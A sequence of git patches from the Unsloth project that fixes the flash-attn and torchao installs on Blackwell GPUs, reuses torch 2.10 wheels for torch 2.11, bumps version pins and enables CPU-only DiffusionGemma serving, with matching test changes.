             _total_layers = _get_total_transformer_layers(model)
             if _total_layers is not None and _total_layers > 0:

From 03cbe211a38b78448e5844f25f49b65a449d8b10 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Thomas=20Eric=20=20=F0=9F=87=A7=F0=9F=87=B7?=
 <thombelcar@gmail.com>
Date: Wed, 8 Jul 2026 10:38:10 -0300
Subject: [PATCH 265/306] Studio: fix flash-attn and torchao install on
 Blackwell (sm_100+) GPUs (Closes #6961) (#6970)

* fix: Remove moot has_blackwell_gpu() function

Fixes unslothai/unsloth#6961. This function skipped flash-attn on Blackwell GPUs because no prebuilt wheel existed;
Dao-AILab now ships one and url_exists() already gates resolution.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

* fix: use torchao 0.17.0 for Blackwell

Fixes #6961. Torchao 0.16.0's cpp extensions are built against CUDA 12, so on a CUDA-13
torch (cu130 / Blackwell) they fail to load with "libcudart.so.12: cannot
open shared object file". Select 0.17.0 there instead: its cpp targets torch
2.11, so it is skipped cleanly rather than crashing. CUDA-12 / ROCm / CPU
torch 2.10 keeps 0.16.0 and its working kernels.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

* Condense torchao version-selection comments (no behavior change)

* Support torch 2.11 in the Studio installer via the torch2.10 prebuilt wheels

Map torch 2.11 to the torch2.10 prebuilt wheels for flash-attn, causal-conv1d,
and mamba through wheel_utils.prebuilt_wheel_torch_mm, applied in direct_wheel_url
(filename) and flash_attn_wheel_url (version). Those torch2.10 CUDA wheels load and
pass each project's own test suite on torch 2.11 (verified on B200), so a torch 2.11
environment gets the prebuilt accelerators instead of skipping or building from source.

Raise _CUDA_TORCH_PKG_SPEC to <2.12.0 (torchvision <0.27.0, torchaudio <2.12.0) so
the CUDA torch repair path can install torch 2.11, where torchao 0.17's cpp kernels
load cleanly. Add tests for the mapping.

* Keep has_blackwell_gpu as a False stub for future arch gating

* Restore has_blackwell_gpu as a return-False probe kept for future arch gating

Keep the nvidia-smi compute_cap detection and its two call sites, but short-circuit
with return False at the top so flash-attn is no longer skipped on Blackwell (sm_100+
now has prebuilt wheels and url_exists gates resolution). Drop the early return to
re-enable arch-based detection later.

---------

Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
---
 .../tests/test_mlx_training_worker_config.py  |   1 -
 studio/backend/tests/test_torchao_select.py   |  17 +-
 .../tests/test_training_worker_flash_attn.py  |  23 --
 studio/backend/utils/wheel_utils.py           |  26 ++-
 studio/install_python_stack.py                |  70 +++---
 .../test_flash_attn_install_python_stack.py   | 203 ++++--------------
 6 files changed, 123 insertions(+), 217 deletions(-)

diff --git a/studio/backend/tests/test_mlx_training_worker_config.py b/studio/backend/tests/test_mlx_training_worker_config.py
index 14fc0933d0..503bae8da3 100644
--- a/studio/backend/tests/test_mlx_training_worker_config.py
+++ b/studio/backend/tests/test_mlx_training_worker_config.py
@@ -37,7 +37,6 @@ def _load_worker_module():
         for name in (
             "direct_wheel_url",
             "flash_attn_wheel_url",
-            "has_blackwell_gpu",
             "install_wheel",
             "probe_torch_wheel_env",
             "url_exists",
diff --git a/studio/backend/tests/test_torchao_select.py b/studio/backend/tests/test_torchao_select.py
index 2d3dc5fbff..e4775a10a6 100644
--- a/studio/backend/tests/test_torchao_select.py
+++ b/studio/backend/tests/test_torchao_select.py
@@ -32,16 +32,23 @@ def _load_module(monkeypatch):
 @pytest.mark.parametrize(
     "torch_version, expected",
     [
-        # torch 2.10 (the reported bug: cu130 resolves 2.10.0) -> 0.16.0,
-        # independent of the local +cuXXX/+rocm/+cpu suffix or patch level.
-        ("2.10.0+cu130", "torchao==0.16.0"),
+        # torch 2.10 on CUDA <= 12 -> 0.16.0 (its cpp is built for torch 2.10.0 and
+        # loads against the CUDA-12 PyPI wheel). Independent of patch level.
+        ("2.10.0+cu128", "torchao==0.16.0"),
+        ("2.10.0+cu126", "torchao==0.16.0"),
         ("2.10.0+rocm6.4", "torchao==0.16.0"),
         ("2.10.0+cpu", "torchao==0.16.0"),
         ("2.10.1", "torchao==0.16.0"),
         ("2.10.0", "torchao==0.16.0"),
-        # Pre-release / dev / rc builds: the minor is cleaned of non-digits.
+        # torch 2.10 on CUDA >= 13 (Blackwell / cu130): 0.16.0's CUDA-12 cpp can't
+        # load against a CUDA-13 torch (libcudart.so.12 error), so use 0.17.0.
+        ("2.10.0+cu130", "torchao==0.17.0"),
+        ("2.10.0+cu140", "torchao==0.17.0"),
+        # Pre-release / dev / rc builds: the minor is cleaned of non-digits; the
+        # CUDA tag still decides 0.16.0 vs 0.17.0.
         ("2.10.0rc1", "torchao==0.16.0"),
-        ("2.10.0.dev20250804+cu130", "torchao==0.16.0"),
+        ("2.10.0.dev20250804+cu130", "torchao==0.17.0"),
+        ("2.10.0.dev20250804+cu128", "torchao==0.16.0"),
         ("2.10rc1", "torchao==0.16.0"),
         # torch 2.11 (reachable via ROCm rocm7.2) and forward -> 0.17.0.
         ("2.11.0+cu130", "torchao==0.17.0"),
diff --git a/studio/backend/tests/test_training_worker_flash_attn.py b/studio/backend/tests/test_training_worker_flash_attn.py
index 3c5d6cd094..7e7fc1af48 100644
--- a/studio/backend/tests/test_training_worker_flash_attn.py
+++ b/studio/backend/tests/test_training_worker_flash_attn.py
@@ -59,7 +59,6 @@ def test_runtime_flash_attn_prefers_prebuilt_wheel(monkeypatch):
     statuses: list[str] = []
 
     monkeypatch.delenv(worker._FLASH_ATTN_SKIP_ENV, raising = False)
-    monkeypatch.setattr(worker, "has_blackwell_gpu", lambda: False)
     monkeypatch.setattr(builtins, "__import__", _missing_flash_attn_import())
     monkeypatch.setattr(
         worker,
@@ -88,7 +87,6 @@ def test_runtime_flash_attn_falls_back_to_pypi(monkeypatch):
     statuses: list[str] = []
 
     monkeypatch.delenv(worker._FLASH_ATTN_SKIP_ENV, raising = False)
-    monkeypatch.setattr(worker, "has_blackwell_gpu", lambda: False)
     monkeypatch.setattr(builtins, "__import__", _missing_flash_attn_import())
     monkeypatch.setattr(
         worker,
@@ -141,27 +139,6 @@ def test_runtime_flash_attn_skip_env_avoids_all_install_work(monkeypatch):
     worker._sp.run.assert_not_called()
 
 
-def test_runtime_flash_attn_skips_on_blackwell(monkeypatch):
-    statuses: list[str] = []
-    install_mock = mock.Mock()
-
-    monkeypatch.delenv(worker._FLASH_ATTN_SKIP_ENV, raising = False)
-    monkeypatch.setattr(worker, "_should_try_runtime_flash_attn_install", lambda max_seq: True)
-    monkeypatch.setattr(worker, "has_blackwell_gpu", lambda: True)
-    monkeypatch.setattr(worker, "_install_package_wheel_first", install_mock)
-    monkeypatch.setattr(
-        worker,
-        "_send_status",
-        lambda queue, message: statuses.append(message),
-    )
-
-    worker._ensure_flash_attn_for_long_context(event_queue = [], max_seq_length = 65536)
-
-    install_mock.assert_not_called()
-    assert len(statuses) == 1
-    assert "Blackwell" in statuses[0]
-
-
 def test_causal_conv1d_fast_path_preserves_wheel_first_install_args(monkeypatch):
     install_mock = mock.Mock(return_value = True)
     monkeypatch.setattr(worker, "_install_package_wheel_first", install_mock)
diff --git a/studio/backend/utils/wheel_utils.py b/studio/backend/utils/wheel_utils.py
index 98697df83c..1b5926fd49 100644
--- a/studio/backend/utils/wheel_utils.py
+++ b/studio/backend/utils/wheel_utils.py
@@ -26,11 +26,14 @@ FLASH_ATTN_RELEASE_BASE_URL = "https://github.com/Dao-AILab/flash-attention/rele
 def has_blackwell_gpu() -> bool:
     """Return True if any visible NVIDIA GPU has compute capability >= 10.0 (Blackwell).
 
-    Dao-AILab ships no flash-attention wheels for these archs and older-arch wheels
-    fail to load, so callers use this to skip the flash-attn install path. Cached
-    for the process lifetime; tests mocking nvidia-smi must call
+    Cached for the process lifetime; tests mocking nvidia-smi must call
     ``has_blackwell_gpu.cache_clear()`` first.
     """
+    # Detection disabled for now: Dao-AILab ships Blackwell (sm_100+) flash-attn
+    # wheels and url_exists() already gates resolution, so we no longer skip
+    # flash-attn on Blackwell. The nvidia-smi probe below is kept for possible
+    # future arch-based gating; drop this early return to re-enable it.
+    return False
     exe = shutil.which("nvidia-smi")
     if not exe:
         return False
@@ -117,6 +120,19 @@ def probe_torch_wheel_env(*, timeout: int | None = None) -> dict[str, str] | Non
     return env
 
 
+# torch 2.11 has no native prebuilt wheels for flash-attn / causal-conv1d / mamba
+# yet, but their torch 2.10 CUDA wheels load and pass the projects' own test suites
+# on torch 2.11 (verified on B200: FA2 fwd/bwd, causal-conv1d, and mamba selective
+# scan all match reference). Reuse the torch 2.10 wheels on torch 2.11 so a 2.11
+# install still gets these prebuilt accelerators instead of building from source.
+_PREBUILT_WHEEL_TORCH_MM = {"2.11": "2.10"}
+
+
+def prebuilt_wheel_torch_mm(torch_mm: str) -> str:
+    """Map a torch major.minor to the one whose prebuilt accelerator wheels to use."""
+    return _PREBUILT_WHEEL_TORCH_MM.get(torch_mm, torch_mm)
+
+
 def direct_wheel_url(
     *,
     filename_prefix: str,
@@ -130,7 +146,7 @@ def direct_wheel_url(
 
     filename = (
         f"{filename_prefix}-{package_version}"
-        f"+cu{env['cuda_major']}torch{env['torch_mm']}"
+        f"+cu{env['cuda_major']}torch{prebuilt_wheel_torch_mm(env['torch_mm'])}"
         f"cxx11abi{env['cxx11abi']}-{env['python_tag']}-{env['python_tag']}"
         f"-{env['platform_tag']}.whl"
     )
@@ -152,7 +168,7 @@ def flash_attn_package_version(torch_mm: str) -> str | None:
 def flash_attn_wheel_url(env: dict[str, str] | None) -> str | None:
     if env is None:
         return None
-    package_version = flash_attn_package_version(env["torch_mm"])
+    package_version = flash_attn_package_version(prebuilt_wheel_torch_mm(env["torch_mm"]))
     if package_version is None:
         return None
     return direct_wheel_url(
diff --git a/studio/install_python_stack.py b/studio/install_python_stack.py
index e033a56a0a..19c492deaa 100644
--- a/studio/install_python_stack.py
+++ b/studio/install_python_stack.py
@@ -103,33 +103,47 @@ _PYTORCH_WHL_BASE = (
     os.environ.get("UNSLOTH_PYTORCH_MIRROR") or "https://download.pytorch.org/whl"
 ).rstrip("/")
 
-# CUDA torch repair specs (see _ensure_cuda_torch). torchvision/torchaudio are
-# pinned to the torch<2.11 family rather than left bare: the install uses an
-# exclusive --index-url (no PyPI fallback), so a bare name could resolve a
-# torchvision built against a different torch major (e.g. 0.27 for torch 2.12)
-# and fail at runtime with an ABI mismatch. Same bounds as the _default ROCm
-# spec above, which targets the same torch family.
+# CUDA torch repair specs (see _ensure_cuda_torch). torch 2.11 is allowed: its
+# torchao 0.17 cpp kernels load cleanly (0.16 crashes on cu130), and the flash-attn
+# / causal-conv1d / mamba torch2.10 wheels load and pass their upstream suites on
+# 2.11 (see wheel_utils._PREBUILT_WHEEL_TORCH_MM). torchvision/torchaudio are pinned
+# (not bare) because the install uses an exclusive --index-url (no PyPI fallback), so
+# a bare name could resolve one built against a different torch major (e.g. 0.27 for
+# torch 2.12) and fail at runtime with an ABI mismatch.
 _CUDA_TORCH_PKG_SPEC: tuple[str, str, str] = (
-    "torch>=2.4,<2.11.0",
-    "torchvision>=0.19,<0.26.0",
-    "torchaudio>=2.4,<2.11.0",
+    "torch>=2.4,<2.12.0",
+    "torchvision>=0.19,<0.27.0",
+    "torchaudio>=2.4,<2.12.0",
 )
 
-# torchao's C++ extensions are built against ONE exact torch release; a newer
-# torch makes torchao skip its cpp kernels ("Skipping import of cpp extensions
-# due to incompatible torch version ...") and fall back to slow Python. Because
-# the torch pin above is a range (and every CUDA index now tops out at torch
-# 2.10), the torch actually installed drifts ahead of a fixed torchao pin. So
-# pick the torchao whose build matches the torch in the venv. Table: pytorch/ao#2919.
-#   torch 2.9.x  -> torchao 0.14.0 (today's pin; built for torch 2.9.0)
-#   torch 2.10.x -> torchao 0.16.0 (built for torch 2.10.0)
-#   torch 2.11.x -> torchao 0.17.0 (built for torch 2.11.0; reachable via ROCm rocm7.2)
-# Unknown/older torch keeps the conservative default (no regression vs today).
+# torchao's cpp extensions are pinned to ONE torch release AND CUDA major. A torch
+# mismatch just skips the cpp kernels (slow Python fallback); a CUDA mismatch fails
+# to import ("libcudart.so.12: cannot open shared object file"). The torch pin is a
+# range, so match torchao to the installed torch (table: pytorch/ao#2919):
+#   2.9.x            -> 0.14.0
+#   2.10.x, CUDA<=12 -> 0.16.0 (cpp built for 2.10, loads via the CUDA-12 wheel)
+#   2.10.x, CUDA>=13 -> 0.17.0 (cu130: 0.16.0's CUDA-12 cpp crashes on load; 0.17.0
+#                       targets torch 2.11 so its cpp is cleanly skipped, not crashed)
+#   2.11.x           -> 0.17.0 (reachable via CUDA or ROCm rocm7.2)
+# Unknown/older torch keeps the conservative default.
 _TORCHAO_DEFAULT_SPEC = "torchao==0.14.0"
-_TORCHAO_BY_TORCH_MINOR: dict[int, str] = {
-    10: "torchao==0.16.0",
-    11: "torchao==0.17.0",
-}
+_TORCHAO_TORCH_210_SPEC = "torchao==0.16.0"
+_TORCHAO_TORCH_210_CUDA13_SPEC = "torchao==0.17.0"
+_TORCHAO_TORCH_211_PLUS_SPEC = "torchao==0.17.0"
+# torch 2.10 built against CUDA >= this major can't load 0.16.0's CUDA-12 cpp.
+_TORCHAO_CUDA13_MIN_MAJOR = 13
+
+
+def _cuda_major_from_torch_version(torch_version: str) -> int | None:
+    """Extract the CUDA major from a torch local version tag, e.g. '2.10.0+cu130'
+    -> 13, '2.10.0+cu128' -> 12. Returns None for rocm/cpu/tagless builds."""
+    local = str(torch_version).split("+", 1)
+    if len(local) < 2 or not local[1].startswith("cu"):
+        return None
+    digits = re.sub(r"[^0-9].*", "", local[1][2:])  # 'cu130' -> '130'
+    if not digits:
+        return None
+    return int(digits) // 10  # '130' -> 13, '128' -> 12, '118' -> 11
 
 
 def _select_torchao_spec(torch_version: str | None) -> str:
@@ -151,8 +165,14 @@ def _select_torchao_spec(torch_version: str | None) -> str:
     if major != 2:
         return _TORCHAO_DEFAULT_SPEC
     if minor >= 11:
-        return _TORCHAO_BY_TORCH_MINOR[11]  # newest known build; covers 2.11+
-    return _TORCHAO_BY_TORCH_MINOR.get(minor, _TORCHAO_DEFAULT_SPEC)
+        return _TORCHAO_TORCH_211_PLUS_SPEC  # newest known build; covers 2.11+
+    if minor == 10:
+        # cu130+ can't load 0.16.0's CUDA-12 cpp; use 0.17.0 (cpp skipped, not crashed).
+        cuda_major = _cuda_major_from_torch_version(str(torch_version))
+        if cuda_major is not None and cuda_major >= _TORCHAO_CUDA13_MIN_MAJOR:
+            return _TORCHAO_TORCH_210_CUDA13_SPEC
+        return _TORCHAO_TORCH_210_SPEC
+    return _TORCHAO_DEFAULT_SPEC
 
 
 def _probe_installed_torch_version() -> str | None:
diff --git a/tests/python/test_flash_attn_install_python_stack.py b/tests/python/test_flash_attn_install_python_stack.py
index 26ff03505a..bf3ed57788 100644
--- a/tests/python/test_flash_attn_install_python_stack.py
+++ b/tests/python/test_flash_attn_install_python_stack.py
@@ -13,102 +13,35 @@ sys.path.insert(0, str(STUDIO_DIR))
 sys.path.insert(0, str(STUDIO_DIR / "backend"))
 
 import install_python_stack as ips
-from backend.utils import wheel_utils
+from utils import wheel_utils
 
 
-def _smi_result(stdout: str, returncode: int = 0) -> subprocess.CompletedProcess:
-    return subprocess.CompletedProcess(["nvidia-smi"], returncode, stdout, "")
+class TestPrebuiltWheelTorchMapping:
+    def test_torch_211_maps_to_torch210(self):
+        assert wheel_utils.prebuilt_wheel_torch_mm("2.11") == "2.10"
 
+    def test_other_versions_pass_through(self):
+        for torch_mm in ("2.9", "2.10", "2.12"):
+            assert wheel_utils.prebuilt_wheel_torch_mm(torch_mm) == torch_mm
 
-class TestHasBlackwellGpu:
-    def setup_method(self):
-        wheel_utils.has_blackwell_gpu.cache_clear()
-
-    def teardown_method(self):
-        wheel_utils.has_blackwell_gpu.cache_clear()
-
-    def test_returns_false_when_nvidia_smi_missing(self):
-        with mock.patch.object(wheel_utils.shutil, "which", return_value = None):
-            assert wheel_utils.has_blackwell_gpu() is False
-
-    def test_returns_true_for_sm_100(self):
-        with (
-            mock.patch.object(wheel_utils.shutil, "which", return_value = "/usr/bin/nvidia-smi"),
-            mock.patch.object(wheel_utils.subprocess, "run", return_value = _smi_result("10.0\n")),
-        ):
-            assert wheel_utils.has_blackwell_gpu() is True
-
-    def test_returns_true_for_sm_120(self):
-        with (
-            mock.patch.object(wheel_utils.shutil, "which", return_value = "/usr/bin/nvidia-smi"),
-            mock.patch.object(wheel_utils.subprocess, "run", return_value = _smi_result("12.0\n")),
-        ):
-            assert wheel_utils.has_blackwell_gpu() is True
-
-    def test_returns_true_for_sm_121(self):
-        with (
-            mock.patch.object(wheel_utils.shutil, "which", return_value = "/usr/bin/nvidia-smi"),
-            mock.patch.object(wheel_utils.subprocess, "run", return_value = _smi_result("12.1\n")),
-        ):
-            assert wheel_utils.has_blackwell_gpu() is True
-
-    def test_returns_false_for_sm_90(self):
-        with (
-            mock.patch.object(wheel_utils.shutil, "which", return_value = "/usr/bin/nvidia-smi"),
-            mock.patch.object(wheel_utils.subprocess, "run", return_value = _smi_result("9.0\n")),
-        ):
-            assert wheel_utils.has_blackwell_gpu() is False
-
-    def test_returns_false_for_sm_89(self):
-        with (
-            mock.patch.object(wheel_utils.shutil, "which", return_value = "/usr/bin/nvidia-smi"),
-            mock.patch.object(wheel_utils.subprocess, "run", return_value = _smi_result("8.9\n")),
-        ):
-            assert wheel_utils.has_blackwell_gpu() is False
-
-    def test_mixed_gpus_with_one_blackwell_returns_true(self):
-        with (
-            mock.patch.object(wheel_utils.shutil, "which", return_value = "/usr/bin/nvidia-smi"),
-            mock.patch.object(
-                wheel_utils.subprocess,
-                "run",
-                return_value = _smi_result("8.0\n10.0\n"),
-            ),
-        ):
-            assert wheel_utils.has_blackwell_gpu() is True
-
-    def test_returns_false_when_nvidia_smi_fails(self):
-        with (
-            mock.patch.object(wheel_utils.shutil, "which", return_value = "/usr/bin/nvidia-smi"),
-            mock.patch.object(
-                wheel_utils.subprocess,
-                "run",
-                return_value = _smi_result("", returncode = 1),
-            ),
-        ):
-            assert wheel_utils.has_blackwell_gpu() is False
-
-    def test_returns_false_on_subprocess_timeout(self):
-        with (
-            mock.patch.object(wheel_utils.shutil, "which", return_value = "/usr/bin/nvidia-smi"),
-            mock.patch.object(
-                wheel_utils.subprocess,
-                "run",
-                side_effect = subprocess.TimeoutExpired(cmd = "nvidia-smi", timeout = 10),
-            ),
-        ):
-            assert wheel_utils.has_blackwell_gpu() is False
-
-    def test_returns_false_on_malformed_output(self):
-        with (
-            mock.patch.object(wheel_utils.shutil, "which", return_value = "/usr/bin/nvidia-smi"),
-            mock.patch.object(
-                wheel_utils.subprocess,
-                "run",
-                return_value = _smi_result("not-a-number\n\n"),
-            ),
-        ):
-            assert wheel_utils.has_blackwell_gpu() is False
+    def test_direct_wheel_url_reuses_torch210_on_211(self):
+        # causal-conv1d / mamba go through direct_wheel_url; torch 2.11 reuses the
+        # torch2.10 wheel filename just like flash-attn does.
+        url = wheel_utils.direct_wheel_url(
+            filename_prefix = "causal_conv1d",
+            package_version = "1.6.1",
+            release_tag = "v1.6.1.post4",
+            release_base_url = "https://example.test/download",
+            env = {
+                "python_tag": "cp313",
+                "torch_mm": "2.11",
+                "cuda_major": "13",
+                "cxx11abi": "TRUE",
+                "platform_tag": "linux_x86_64",
+            },
+        )
+        assert url is not None
+        assert "causal_conv1d-1.6.1+cu13torch2.10cxx11abiTRUE-cp313-cp313-linux_x86_64.whl" in url
 
 
 class TestFlashAttnWheelSelection:
@@ -118,9 +51,24 @@ class TestFlashAttnWheelSelection:
     def test_torch_29_maps_to_v283(self):
         assert ips._select_flash_attn_version("2.9") == "2.8.3"
 
-    def test_unsupported_torch_has_no_wheel_mapping(self):
+    def test_torch_211_has_no_native_version_entry(self):
+        # The raw version table has no torch2.11-tagged wheel; the URL builder
+        # reuses the torch2.10 wheel instead (see test_torch_211_reuses_torch210_wheel).
         assert ips._select_flash_attn_version("2.11") is None
 
+    def test_torch_211_reuses_torch210_wheel(self):
+        url = ips._build_flash_attn_wheel_url(
+            {
+                "python_tag": "cp313",
+                "torch_mm": "2.11",
+                "cuda_major": "13",
+                "cxx11abi": "TRUE",
+                "platform_tag": "linux_x86_64",
+            }
+        )
+        assert url is not None
+        assert "flash_attn-2.8.1+cu13torch2.10cxx11abiTRUE-cp313-cp313-linux_x86_64.whl" in url
+
     def test_exact_wheel_url_uses_full_env_tuple(self):
         url = ips._build_flash_attn_wheel_url(
             {
@@ -333,83 +281,22 @@ class TestEnsureFlashAttn:
         mock_probe.assert_not_called()
         mock_install_wheel.assert_not_called()
 
-    def test_blackwell_gpu_skips_install_with_warning(self):
-        step_messages: list[tuple[str, str]] = []
-
-        def fake_step(
-            label: str,
-            value: str,
-            color_fn = None,
-        ):
-            step_messages.append((label, value))
-
-        with (
-            mock.patch.object(ips, "NO_TORCH", False),
-            mock.patch.object(ips, "IS_WINDOWS", False),
-            mock.patch.object(ips, "IS_MACOS", False),
-            mock.patch.object(ips, "has_blackwell_gpu", return_value = True),
-            mock.patch.object(ips, "probe_torch_wheel_env") as mock_probe,
-            mock.patch.object(ips, "install_wheel") as mock_install_wheel,
-            mock.patch.object(ips, "_step", side_effect = fake_step),
-            mock.patch("subprocess.run", return_value = self._import_check()),
-        ):
-            ips._ensure_flash_attn()
-
-        mock_probe.assert_not_called()
-        mock_install_wheel.assert_not_called()
-        assert any(label == "warning" and "Blackwell" in msg for label, msg in step_messages)
-
-    def test_blackwell_gpu_on_windows_emits_blackwell_warning(self):
-        step_messages: list[tuple[str, str]] = []
-
-        def fake_step(
-            label: str,
-            value: str,
-            color_fn = None,
-        ):
-            step_messages.append((label, value))
-
+    def test_windows_skips_install_without_probing(self):
+        # flash-attn is Linux-only: on Windows the installer returns before
+        # probing the torch env or resolving a wheel (no Windows wheels are
+        # published upstream).
         with (
             mock.patch.object(ips, "NO_TORCH", False),
             mock.patch.object(ips, "IS_WINDOWS", True),
             mock.patch.object(ips, "IS_MACOS", False),
-            mock.patch.object(ips, "has_blackwell_gpu", return_value = True),
             mock.patch.object(ips, "probe_torch_wheel_env") as mock_probe,
             mock.patch.object(ips, "install_wheel") as mock_install_wheel,
-            mock.patch.object(ips, "_step", side_effect = fake_step),
             mock.patch("subprocess.run", return_value = self._import_check()),
         ):
             ips._ensure_flash_attn()
 
         mock_probe.assert_not_called()
         mock_install_wheel.assert_not_called()
-        assert any(label == "warning" and "Blackwell" in msg for label, msg in step_messages)
-
-    def test_non_blackwell_windows_does_not_emit_blackwell_warning(self):
-        step_messages: list[tuple[str, str]] = []
-
-        def fake_step(
-            label: str,
-            value: str,
-            color_fn = None,
-        ):
-            step_messages.append((label, value))
-
-        with (
-            mock.patch.object(ips, "NO_TORCH", False),
-            mock.patch.object(ips, "IS_WINDOWS", True),
-            mock.patch.object(ips, "IS_MACOS", False),
-            mock.patch.object(ips, "has_blackwell_gpu", return_value = False),
-            mock.patch.object(ips, "probe_torch_wheel_env") as mock_probe,
-            mock.patch.object(ips, "install_wheel") as mock_install_wheel,
-            mock.patch.object(ips, "_step", side_effect = fake_step),
-            mock.patch("subprocess.run", return_value = self._import_check()),
-        ):
-            ips._ensure_flash_attn()
-
-        mock_probe.assert_not_called()
-        mock_install_wheel.assert_not_called()
-        assert not any("Blackwell" in msg for _, msg in step_messages)
 
 
 class TestInstallPythonStackFlashAttnIntegration:

From 38ea267124cc3c5a82b96fe9a7a140e4f4e566cc Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Wed, 8 Jul 2026 06:51:58 -0700
Subject: [PATCH 266/306] Versioning

---
 pyproject.toml           | 6 +++---
 unsloth/models/_utils.py | 2 +-
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/pyproject.toml b/pyproject.toml
index 80b3d757e3..2b79121c82 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -73,7 +73,7 @@ triton = [
 ]
 
 huggingfacenotorch = [
-    "unsloth_zoo>=2026.7.1",
+    "unsloth_zoo>=2026.7.2",
     "wheel>=0.42.0",
     "packaging",
     "numpy",
@@ -94,7 +94,7 @@ huggingfacenotorch = [
 ]
 huggingface = [
     "unsloth[huggingfacenotorch]",
-    "unsloth_zoo>=2026.7.1",
+    "unsloth_zoo>=2026.7.2",
     "torchvision",
     "unsloth[triton]",
 ]
@@ -579,7 +579,7 @@ colab-ampere-torch220 = [
     "flash-attn>=2.6.3 ; ('linux' in sys_platform)",
 ]
 colab-new = [
-    "unsloth_zoo>=2026.7.1",
+    "unsloth_zoo>=2026.7.2",
     "packaging",
     "tyro",
     "transformers>=4.51.3,!=4.52.0,!=4.52.1,!=4.52.2,!=4.52.3,!=4.53.0,!=4.54.0,!=4.55.0,!=4.55.1,!=4.57.0,!=4.57.4,!=4.57.5,!=5.0.0,!=5.1.0,<=5.5.0",
diff --git a/unsloth/models/_utils.py b/unsloth/models/_utils.py
index b68cb702b1..fa0e0b1c49 100644
--- a/unsloth/models/_utils.py
+++ b/unsloth/models/_utils.py
@@ -12,7 +12,7 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
-__version__ = "2026.7.1"
+__version__ = "2026.7.2"
 
 __all__ = [
     "SUPPORTS_BFLOAT16",

From 3d41e5868d8aa46ece3b58de63f89be0a5d1d6b9 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Wed, 8 Jul 2026 07:22:54 -0700
Subject: [PATCH 267/306] Add has_blackwell_gpu to the mlx worker test's
 wheel_utils stub (#6980)

worker.py imports has_blackwell_gpu from utils.wheel_utils, but _load_worker_module
stubs utils.wheel_utils with a fixed name tuple that omitted it, so loading the worker
raised ImportError (cannot import name 'has_blackwell_gpu') and Backend CI could not
collect test_mlx_training_worker_config.py. Add the name to the stub so it matches
worker.py's imports.
---
 studio/backend/tests/test_mlx_training_worker_config.py | 1 +
 1 file changed, 1 insertion(+)

diff --git a/studio/backend/tests/test_mlx_training_worker_config.py b/studio/backend/tests/test_mlx_training_worker_config.py
index 503bae8da3..14fc0933d0 100644
--- a/studio/backend/tests/test_mlx_training_worker_config.py
+++ b/studio/backend/tests/test_mlx_training_worker_config.py
@@ -37,6 +37,7 @@ def _load_worker_module():
         for name in (
             "direct_wheel_url",
             "flash_attn_wheel_url",
+            "has_blackwell_gpu",
             "install_wheel",
             "probe_torch_wheel_env",
             "url_exists",

From 116ce48c1a9d2b17596d66a247fe441551bdca91 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Wed, 8 Jul 2026 07:26:10 -0700
Subject: [PATCH 268/306] Studio: allow CPU-only DiffusionGemma by granting the
 diffusion runner the CPU device (#6979)

* Studio: allow CPU-only DiffusionGemma by granting the diffusion runner the CPU device

* Studio: mark CPU-only DiffusionGemma as non-GPU-resident for training VRAM preflight

* Studio: keep the CPU DiffusionGemma change minimal (revert VRAM-flag tweak; Metal hosts still hold unified memory)

* Studio: keep CPU DiffusionGemma fallback fully CPU-masked so a masked GPU host does not re-expose GPU 0
---
 studio/backend/core/inference/llama_cpp.py | 12 +++++++++++-
 1 file changed, 11 insertions(+), 1 deletion(-)

diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index b07bd33076..f61402aa5c 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -3971,7 +3971,11 @@ class LlamaCppBackend:
         # Auto-size (0): the visual server probes the largest context that fits this GPU's VRAM
         # (capped at the training context). An explicit in-range n_ctx overrides it.
         maxtok = n_ctx if (n_ctx and 0 < n_ctx <= 65536) else 0
-        gpu = os.environ.get("DG_GPU", "0")
+        # No visible CUDA GPU: a genuine CPU host, or a GPU host masked with
+        # CUDA_VISIBLE_DEVICES="" to force CPU serving. Keep the visual-server child
+        # CPU-masked (empty --gpu) so the shim does not re-expose GPU 0 via its default.
+        cpu_only = self._effective_gpu_count() == 0
+        gpu = "" if cpu_only else os.environ.get("DG_GPU", "0")
 
         cmd = list(shim_cmd) + [
             "--gguf",
@@ -3991,6 +3995,12 @@ class LlamaCppBackend:
         # refuses to load unless UNSLOTH_IS_PRESENT is set (normally by `import
         # unsloth`). The shim never imports unsloth, so set it here as unsloth does.
         env["UNSLOTH_IS_PRESENT"] = "1"
+        # The shim's `import unsloth_zoo` aborts in get_device_type() ("needs a GPU")
+        # when no accelerator is visible, even though it only drives the CPU
+        # visual-server binary and does no torch GPU work. Allow the CPU device so the
+        # runner starts; the visual server still runs on the CPU llama.cpp build.
+        if cpu_only:
+            env.setdefault("UNSLOTH_ALLOW_CPU", "1")
         env["DG_VISUAL_BIN"] = visual_bin
         env["DG_GPU"] = gpu
         # The file-override shim imports its sibling visual_engine; put its dir on PYTHONPATH.

From 1a274c488e9621281f86e2f6e85316a77e2c8070 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Wed, 8 Jul 2026 07:51:53 -0700
Subject: [PATCH 269/306] Bump install.sh / install.ps1 pins to
 unsloth>=2026.7.2 and unsloth-zoo>=2026.7.2 (#6981)

PyPI release unsloth 2026.7.2 is now live. Bumps the pinned floor in
install.sh and install.ps1 from 2026.7.1 to 2026.7.2 for both unsloth and
unsloth-zoo across all 5 install commands (no-torch / reinstall / upgrade /
local / auto torch backend paths) so fresh installs resolve to the new wheel.

Follows the same pattern as #5716.
---
 install.ps1 | 10 +++++-----
 install.sh  | 10 +++++-----
 2 files changed, 10 insertions(+), 10 deletions(-)

diff --git a/install.ps1 b/install.ps1
index 9114f80af9..696f4e613a 100644
--- a/install.ps1
+++ b/install.ps1
@@ -2155,7 +2155,7 @@ exit 0
